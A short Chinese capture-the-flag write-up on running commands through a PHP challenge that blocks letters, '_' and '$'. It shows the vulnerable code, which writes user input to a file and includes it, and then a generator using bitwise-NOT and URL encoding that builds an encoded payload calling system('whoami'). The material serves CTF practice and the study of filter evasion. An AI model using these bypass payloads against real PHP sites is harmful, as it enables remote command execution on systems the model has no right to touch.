0x00 前言
有幸遇到一次这个问题,还是朋友发给我的题目。
纠结了许久最后还是另外一个朋友发我2篇 P牛大佬 的文章解决的
这里发一下大牛的两个文章
一些不包含数字和字母的webshell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
无字母数字webshell之提高篇
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
如果访问不了的话,可以下载pdf查看
一些不包含数字和字母的webshell _ 离别歌.pdf
无字母数字webshell之提高篇 _ 离别歌.pdf
0x01 题目代码
<?php$code = $_GET['code'];if (preg_match("/[A-Za-z_$]+/",$code)) {exit('GG');}file_put_contents('1.txt', $code);include '1.txt';?>
禁止 英文字符 A-Z a-z 还不能使用特殊符号 _ $ 的
这样的条件来进行getshell
0x02 作者的环境
系统:windows8
服务器:Apache
php版本:7.1.13
0x03 构造绕过方法
看了 p牛的文章以后,绕过的方法很简单,所以我这里主要演示的是构造代码的方法。
因为我发现有挺多人不会构造语句的。
<?php// 例如我现在要执行的命令 call_user_func('system', 'whoami');// 那么构造方法就是如下echo urlencode('<?=1;');echo '('.'~'.urlencode(~('call_user_func')).')';echo '(';echo '('.'~'.urlencode(~('system')).'),';echo '('.'~'.urlencode(~('whoami')).')';echo ')';echo urlencode('?>');// 最后构造出来的代码就是// %3C%3F%3D1%3B(~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C)((~%8C%86%8C%8B%9A%92),(~%88%97%90%9E%92%96))%3F%3E// 执行的代码就是:<?=1;call_user_func('system', 'whoami');?>

